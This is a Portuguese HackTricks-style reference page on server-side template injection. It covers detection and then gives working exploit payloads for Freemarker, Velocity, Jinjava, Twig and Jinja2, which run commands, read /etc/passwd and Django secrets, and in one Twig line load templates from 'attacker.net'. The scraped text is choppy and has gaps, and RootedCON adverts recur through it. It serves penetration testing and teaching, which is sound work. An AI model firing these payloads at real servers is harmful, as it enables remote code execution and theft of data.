Compartilhe seus truques de hacking enviando PRs para osHackTricks e HackTricks Cloud repositórios do github.
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
O que é SSTI (Injeção de Modelo do Lado do Servidor)
A injeção de modelo do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um modelo que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja.
Jinja é um mecanismo de modelo popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja:
Neste código vulnerável, o parâmetro name da requisição do usuário é diretamente passado para o template usando a função render. Isso potencialmente permite que um atacante injete código malicioso no parâmetro name, resultando em uma injeção de template no lado do servidor.
Por exemplo, um atacante poderia criar uma requisição com um payload como este:
O payload {{bad-stuff-here}} é injetado no parâmetro name. Este payload pode conter diretivas de modelo Jinja que permitem ao atacante executar código não autorizado ou manipular o mecanismo de modelo, potencialmente obtendo controle sobre o servidor.
Para prevenir vulnerabilidades de injeção de modelo do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente higienizada e validada antes de ser inserida nos modelos. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade.
Detecção
Para detectar Injeção de Modelo do Lado do Servidor (SSTI), inicialmente, fazer fuzzing no modelo é uma abordagem direta. Isso envolve injetar uma sequência de caracteres especiais (${{<%[%'"}}%\) no modelo e analisar as diferenças na resposta do servidor para dados regulares versus essa carga especial. Indicadores de vulnerabilidade incluem:
Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de modelo.
Ausência da carga na reflexão, ou partes dela faltando, implicando que o servidor a processa de forma diferente do que dados regulares.
Contexto de Texto Simples: Distinguir de XSS verificando se o servidor avalia expressões de modelo (por exemplo, {{7*7}}, ${7*7}).
Contexto de Código: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, alterar greeting em http://vulnerable-website.com/?greeting=data.username para ver se a saída do servidor é dinâmica ou fixa, como em greeting=data.username}}hello retornando o nome de usuário.
Fase de Identificação
Identificar o mecanismo de modelo envolve analisar mensagens de erro ou testar manualmente várias cargas específicas de linguagem. Cargas comuns que causam erros incluem ${7/0}, {{7/0}} e <%= 7/0 %>. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de modelo específico.
uma tabela interativa contendo os poliglotas de injeção de template mais eficientes juntamente com as respostas esperadas dos 44 motores de template mais importantes.
Exploits
Genérico
Nesta lista de palavras você pode encontrar variáveis definidas nos ambientes de alguns dos motores mencionados abaixo:
${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass de Sandbox
⚠️ apenas funciona em versões do Freemarker abaixo de 2.3.30
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
No Thymeleaf, um teste comum para vulnerabilidades de SSTI é a expressão ${7*7}, que também se aplica a este mecanismo de template. Para possíveis execuções de código remoto, podem ser usadas expressões como as seguintes:
Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, o inline de expressão é suportado para outras localizações de template, usando sintaxe como [[...]] ou [(...)]. Assim, um payload de teste de SSTI simples pode se parecer com [[${7*7}]].
No entanto, a probabilidade deste payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio TemplateResolver para criar templates a partir de strings dinamicamente, o que é incomum.
Thymeleaf também oferece pré-processamento de expressão, onde expressões dentro de dois sublinhados duplos (__...__) são pré-processadas. Este recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf:
#{selection.__${sel.code}__}
Exemplo de Vulnerabilidade no Thymeleaf
Considere o trecho de código a seguir, que poderia ser suscetível à exploração:
{% set cmd ='id'%}{% set bytes = (1).TYPE.forName('java.lang.Runtime').methods[6].invoke(null,null).exec(cmd).inputStream.readAllBytes() %}{{ (1).TYPE.forName('java.lang.String').constructors[0].newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava é uma poderosa engine de template para Java que suporta injeção de template do lado do servidor (SSTI). É uma biblioteca de código aberto que permite a execução de código Java dentro de templates. Isso pode ser perigoso se não for devidamente protegido contra ataques de injeção de código.
{{'a'.toUpperCase()}} would result in 'A'{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
{{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
{{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o projeto Jinjava no Github.
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
A Linguagem de Expressão (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para otimizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem:
JavaServer Faces (JSF): Emprega EL para vincular componentes em páginas JSF aos dados e ações de backend correspondentes.
JavaServer Pages (JSP): EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação.
Contexts and Dependency Injection for Java EE (CDI): EL se integra ao CDI para permitir uma interação perfeita entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente.
Confira a seguinte página para aprender mais sobre a exploração dos interpretadores EL:
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
Plates é um mecanismo de modelagem nativo do PHP, inspirado no Twig. No entanto, ao contrário do Twig, que introduz uma nova sintaxe, o Plates utiliza código PHP nativo nos modelos, tornando-o intuitivo para os desenvolvedores PHP.
Controlador:
// Create new Plates instance$templates =newLeague\Plates\Engine('/path/to/templates');// Render a templateecho $templates->render('profile', ['name'=>'Jonathan']);
<html><head><title>{PAGE_TITLE}</title></head><body><table><caption>Authors</caption><thead><tr><th>Name</th><th>Email</th></tr></thead><tfoot><tr><tdcolspan="2">{NUM_AUTHORS}</td></tr></tfoot><tbody><!-- BEGIN authorline --><tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr><!-- END authorline --></tbody></table></body></html>
authors.php
<?php//we want to display this author list$authors =array('Christian Weiske'=>'cweiske@php.net','Bjoern Schotte'=>'schotte@mayflower.de');require_once'HTML/Template/PHPLIB.php';//create template object$t =&newHTML_Template_PHPLIB(dirname(__FILE__),'keep');//load file$t->setFile('authors','authors.tpl');//set block$t->setBlock('authors','authorline','authorline_ref');//set some variables$t->setVar('NUM_AUTHORS',count($authors));$t->setVar('PAGE_TITLE','Code authors as of '.date('Y-m-d'));//display the authorsforeach ($authors as $name => $email) {$t->setVar('AUTHOR_NAME', $name);$t->setVar('AUTHOR_EMAIL', $email);$t->parse('authorline_ref','authorline',true);}//finish and echoecho $t->finish($t->parse('OUT','authors'));?>
patTemplate é um mecanismo de modelagem PHP não compilado que usa tags XML para dividir um documento em diferentes partes.
<patTemplate:tmplname="page">This is the main page.<patTemplate:tmplname="foo">It contains another template.</patTemplate:tmpl><patTemplate:tmplname="hello">Hello {NAME}.<br/></patTemplate:tmpl></patTemplate:tmpl>
Jinja2 é um mecanismo de modelo completo para Python. Possui suporte total a Unicode, um ambiente de execução integrado com sandbox opcional, amplamente utilizado e licenciado sob a BSD.
{{7*7}} = Erro
${7*7} = ${7*7}
{{foobar}} Nada
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}{{settings.SECRET_KEY}}{{4*4}}[[5*5]]{{7*'7'}} would result in7777777
Jinja2 - Formato de Template
{% extends "layout.html"%}{% block body %}<ul>{%for user in users %}<li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>{% endblock %}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read()}}{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read()}}# Or in the shotest versions:{{ cycler.__init__.__globals__.os.popen('id').read()}}{{ joiner.__init__.__globals__.os.popen('id').read()}}{{ namespace.__init__.__globals__.os.popen('id').read()}}
O método .NETSystem.Diagnostics.Process.Start pode ser usado para iniciar qualquer processo no servidor e assim criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em https://github.com/cnotin/RazorVulnerableApp
No mecanismo de template do Go, a confirmação de seu uso pode ser feita com payloads específicos:
{{ . }}: Revela a entrada da estrutura de dados. Por exemplo, se um objeto com um atributo Password for passado, {{ .Password }} poderia expô-lo.
{{printf "%s" "ssti" }}: Espera-se exibir a string "ssti".
{{html "ssti"}}, {{js "ssti"}}: Esses payloads devem retornar "ssti" sem adicionar "html" ou "js". Diretivas adicionais podem ser exploradas na documentação do Go aqui.
Exploração de XSS
Com o pacote text/template, XSS pode ser direto ao inserir o payload diretamente. Por outro lado, o pacote html/template codifica a resposta para evitar isso (por exemplo, {{"<script>alert(1)</script>"}} resulta em <script>alert(1)</script>). No entanto, a definição e invocação de templates em Go podem contornar essa codificação: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Exploração de RCE
A exploração de RCE difere significativamente entre html/template e text/template. O módulo text/template permite chamar qualquer função pública diretamente (usando o valor "call"), o que não é permitido em html/template. A documentação para esses módulos está disponível aqui para html/template e aqui para text/template.
Para RCE via SSTI em Go, os métodos de objetos podem ser invocados. Por exemplo, se o objeto fornecido tiver um método System executando comandos, ele pode ser explorado como {{ .System "ls" }}. Acesso ao código-fonte geralmente é necessário para explorar isso, como no exemplo fornecido:
RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
